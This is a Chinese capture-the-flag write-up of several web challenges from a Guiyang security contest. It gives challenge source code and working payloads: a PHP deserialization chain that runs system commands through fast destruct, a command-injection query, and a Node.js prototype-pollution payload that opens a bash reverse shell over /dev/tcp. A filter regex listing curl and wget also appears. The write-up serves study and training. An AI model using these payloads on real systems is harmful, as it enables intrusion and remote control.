贵阳大数据及网络安全精英对抗赛WEB部分WP
仔细ping
有点看不懂的一道题目,ip去ping,返回和我们本地ping网站差不多的回显,刚开始是以为用逻辑符|&&
之类的题目来做,后来发现想复杂了,他题目意思好像只能用他指定的命令,除此之外其他字符一律屏蔽
比如 ?ip=ls
就可以合法,但是如果?ip=l
一个字符也会被屏蔽,蛮nt的说实话。
payload:?id=ls
发现本地有flag.php
直接 ?id=nl flag.php
pop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php highlight_file(__FILE__); class TT{ public $key; public $c; public function __destruct(){ echo $this->key; } public function __toString(){ return "welcome"; } }
class JJ{ public $obj; public function __toString(){ ($this -> obj)(); return "1"; } public function evil($c){ eval($c); } public function __sleep(){ phpinfo(); } }
class MM{ public $name; public $c; public function __invoke(){ ($this->name)($this->c); } public function __toString(){ return "ok,but wrong"; } public function __call($a, $b){ echo "Hacker!"; } } $a = unserialize($_GET['bbb']); throw new Error("NoNoNo");
|
整个链子其实不难 当时做这道题目 本地pop链已经写出来了 但是发现没法触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class TT{ public $key; public $c; }
class JJ{ public $obj; } class MM{ public $name; public $c;
} $a = new TT(); $a->key = new JJ(); $a->key->obj=new MM(); $a->key->obj->name ='system'; $a->key->obj->c='cat /flag'; echo serialize($a); ?>
|
然后就会发现throw new Error("NoNoNo");
会挡在前面没法绕过,当时就寄了。
这里考到了fast destruct的知识点 出自:https://zhuanlan.zhihu.com/p/405838002
其实原理还是蛮容易理解的,当一个对象生命周期结束时,最后就会触发析构函数,但是如果我们提前破坏这个序列化后的结构,那么就会提前进入析构函数
这道题目就是因为throw new Error("NoNoNo");
而进不去我们构造的链子 但是如果我们破坏我们payload链子结构 那么就会提前进入析构函数 从而触发链子
payload:?bbb=O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:6:"whoami";}}s:1:"c";N;}
这样是完整链子没法触发的我们可以删除最后一个}
破坏结构让他提前进入析构函数
1
| ?bbb=O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:6:"whoami";}}s:1:"c";N;
|
成功
完美网站
一道很臭的题目,大概题目思路是他给了一个img参数是一个图片格式base64编码 然后还需要提交一个n参数 但是n是一个10-30的随机数字 并且每次都不一样 那么其实思路很简单直接爆破就行了
并且要同时提交img和n 但是这描述我也是无语
然后当时没发现flag文件名藏在他给的img末尾是ffffpq.php 所以一直在找flag
总之做的很恶心人 像吃了屎一样yue了
notrce
好像我没记错应该是这道题目
源码如下
1 2 3 4 5 6 7 8 9
| <?php highlight_file(__FILE__); error_reporting(0); $c=$_POST['c']; if(!preg_match("/vi|less|tail|head|od|sh|echo|touch|re|mv|rm|cat|ls|tac|more|cut|curl|wget|base|>|<|`|\*|\\$|\\\/i",$c)){ exec($c); }else{ die("hacker"); }
|
蛮玄幻的一道题目 看了wp直接用将根目录flag复制到当前目录访问就行
呢如果flag文件目录不是常规命名 这不就寄了吗
之后了解到是非预期解 哦 那没事了:)
JUST_PROTO
一道我未触及的领域的题目 一道nodejs的原型链污染题目
这两天恶补了一下关于原型链污染的知识点,感受颇深
如果之前了解过这个 其实题目一眼丁真就能看出是原型链污染的题目 __proto__
明显就提示了
给出源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| const express = require('express'); const { exec } = require("child_process"); const app = express(); app.get('/', (req, res) => res.send('嗨嗨嗨!!老八来了!!!'));
let ba = { baba: (token)=>{ return !!token }, bababa: ()=>{ if (JSON.stringify(date).length > 10000) date = {} }, };
let date = {};
app.get('/set', (req, res) => { ba.bababa(); const {token, key, val} = req.query; if (!ba.baba(token) || !val) return res.send("wrong"); date[token][key] = val; res.json({ is_succ: true }) });
app.get('/get', (req, res) => { const {token, key} = req.query; if (!ba.baba(token)) return res.send("wrong"); let result = date[token]; if (result) result = result[key]; res.json({ result: result === undefined ? "null" : result, is_succ: result !== undefined }) });
app.put('/bkup', (req, res) => { let date_stream = Buffer.from(JSON.stringify(date)); const cmd = ba.redis_set + `date ${date_stream.toString('base64')}`; exec(cmd, (err,_,__) => { if (err) return res.json({ is_succ: false }); res.json({ is_succ: true }); }); });
app.listen(8080, () => console.log(`嗨嗨嗨!!老八来了!!!`));
|
先看/bkup路由
1 2 3 4 5 6 7 8
| app.put('/bkup', (req, res) => { let date_stream = Buffer.from(JSON.stringify(date)); const cmd = ba.redis_set + `date ${date_stream.toString('base64')}`; exec(cmd, (err,_,__) => { if (err) return res.json({ is_succ: false }); res.json({ is_succ: true }); }); });
|
发现了我们最喜欢的exec()函数
const cmd = ba.redis_set + date ${date_stream.toString('base64')};
然后这部分ba.redis_set如果我们可控则能达到rce
再来看/set路由
1 2 3 4 5 6 7
| app.get('/set', (req, res) => { ba.bababa(); const {token, key, val} = req.query; if (!ba.baba(token) || !val) return res.send("wrong"); date[token][key] = val; res.json({ is_succ: true }) });
|
通过get方式给token,key,var
传参
date[token][key] = val;
因为三个参数我们都可控,则可以进行原型链污染
这里解释一下为什么会是data[token][key]
的形式,我们一般认为应该是data.token.key
的形式
其实这两种形式是相等的都可以
比如ctfshow有题目的payload:
原本是:?eval=require('child_process').execSync('ls')
如果改为?eval=require('child_process')['execSync']('ls')
那么都是可以的,两种都是等价的
回到原题,使得token=__proto__,key=redis_set,var=shell
则ba.redis_se被污染
1
| payload:?token=__proto__&key=redis_set&var=bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
|
解释一下为什么要用 bash -c
由于我们是在外部运行shell指令,所以他默认是不会识别我们的bash -i
反弹shell的,bash -c
保证了命令使用bash shell
去执行
反弹shell部分用url编码一下
bash -c
就是将后面字符串当作命令读入执行 然后输出
it’s time
经典flask的ssti
直接当个脚本小子,大脚本注入
或者去找ctfshow 题目的payload都可以